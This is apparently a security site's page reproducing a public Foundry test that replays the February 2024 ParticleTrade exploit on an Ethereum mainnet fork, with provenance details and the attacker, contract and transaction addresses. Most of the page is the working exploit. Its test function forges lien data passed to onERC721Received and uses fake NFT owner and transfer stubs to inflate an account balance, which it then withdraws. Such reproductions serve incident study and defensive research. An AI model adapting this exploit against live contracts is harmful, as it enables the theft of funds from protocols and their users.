Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/ParticleTrade_exp.sol

Public reproduction file for dataset entry ParticleTrade.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/ParticleTrade_exp.sol114 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.24;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~50 $ETH
8// Attacker : https://etherscan.io/address/0x2c903f97ea69b393ea03e7fab8d64d722b3f5559
9// Attack Contract : https://etherscan.io/address/0xe55607b2967ddbe5fa9a6a921991545b8277ef8f
10// Vulnerable Contract : https://etherscan.io/address/0xe4764f9cd8ecc9659d3abf35259638b20ac536e4
11// Attack Tx : https://etherscan.io/tx/0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff6
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1758028270770250134
16interface IParticleExchange {
17 function offerBid(
18 address collection,
19 uint256 margin,
20 uint256 price,
21 uint256 rate
22 ) external returns (uint256 lienId);
23 function swapWithEth(Lien calldata lien, uint256 lienId) external;
24 function onERC721Received(address, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
25 function withdrawAccountBalance() external;
26 function accountBalance(
27 address account
28 ) external returns (uint256 balance);
30 struct Lien {
31 address lender; // NFT supplier address
32 address borrower; // NFT trade executor address
33 address collection; // NFT collection address
34 uint256 tokenId;
35 /// NFT ID (@dev: at borrower bidding, this field is used to store margin)
36 uint256 price; // NFT supplier's desired sold price
37 uint256 rate; // APR in bips, _BASIS_POINTS defined in MathUtils.sol
38 uint256 loanStartTime; // loan start block.timestamp
39 uint256 auctionStartTime; // auction start block.timestamp
40 }
43contract ContractTest is Test {
44 address zero = 0x0000000000000000000000000000000000000000;
45 IParticleExchange proxy = IParticleExchange(0x7c5C9AfEcf4013c43217Fb6A626A4687381f080D);
46 address Azuki = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;
47 address Reservoir = 0xC2c862322E9c97D6244a3506655DA95F05246Fd8;
48 address ParticleExchange = 0xE4764f9cd8ECc9659d3abf35259638B20ac536E4;
49 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
51 address ownerofaddr = address(proxy);
53 function setUp() public {
54 cheats.createSelectFork("mainnet", 19_231_445);
55 cheats.label(address(proxy), "proxy");
56 cheats.label(address(Azuki), "Azuki");
57 cheats.label(address(ParticleExchange), "ParticleExchange");
58 cheats.label(address(Reservoir), "Reservoir");
59 }
61 function testExploit() public {
62 payable(zero).transfer(address(this).balance);
63 emit log_named_decimal_uint("Attacker Eth balance before attack:", address(this).balance, 18);
64 uint256 tokenId = 50_126_827_091_960_426_151;
65 uint256 tokenId2 = 19_231_446;
66 (uint256 lienId) = proxy.offerBid(address(this), uint256(0), uint256(0), uint256(0));
67 IParticleExchange.Lien memory lien = IParticleExchange.Lien({
68 lender: zero,
69 borrower: address(this),
70 collection: address(this),
71 tokenId: 0,
72 price: 0,
73 rate: 0,
74 loanStartTime: 0,
75 auctionStartTime: 0
76 });
77 uint256 amount = 0;
78 bytes memory bytecode = (abi.encode(lien, lienId, amount, Reservoir, zero, "0x"));
79 proxy.onERC721Received(zero, zero, tokenId, bytecode);
81 IParticleExchange.Lien memory lien2 = IParticleExchange.Lien({
82 lender: zero,
83 borrower: address(this),
84 collection: address(this),
85 tokenId: tokenId,
86 price: 0,
87 rate: 0,
88 loanStartTime: block.timestamp,
89 auctionStartTime: 0
90 });
92 bytes memory bytecode2 = (abi.encode(lien2, lienId, amount, Reservoir, zero, "0x"));
93 ownerofaddr = address(proxy);
94 proxy.onERC721Received(zero, zero, tokenId2, bytecode2);
96 proxy.accountBalance(address(this));
97 proxy.withdrawAccountBalance();
99 emit log_named_decimal_uint("Attacker Eth balance after attack:", address(this).balance, 18);
100 }
102 function ownerOf(
103 uint256 tokenId
104 ) external returns (address owner) {
105 return ownerofaddr;
106 }
108 function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata _data) external {
109 ownerofaddr = address(0);
110 return;
111 }
113 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “ParticleTrade” (2024-02-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2c903f97ea69b393ea03e7fab8d64d722b3f5559

  • Attack Contract

    0xe55607b2967ddbe5fa9a6a921991545b8277ef8f

  • Vulnerable Contract

    0xe4764f9cd8ecc9659d3abf35259638b20ac536e4

  • Attack Tx

    0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff6

File record

Name
ParticleTrade
Path
src/test/2024-02/ParticleTrade_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
42fd78b30494a8be48f10d5e2f66b9f6273f384c
Language
Solidity
Size
115 lines
Date
2024-02-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/ParticleTrade_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42fd78b30494a8be48f10d5e2f66b9f6273f384c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.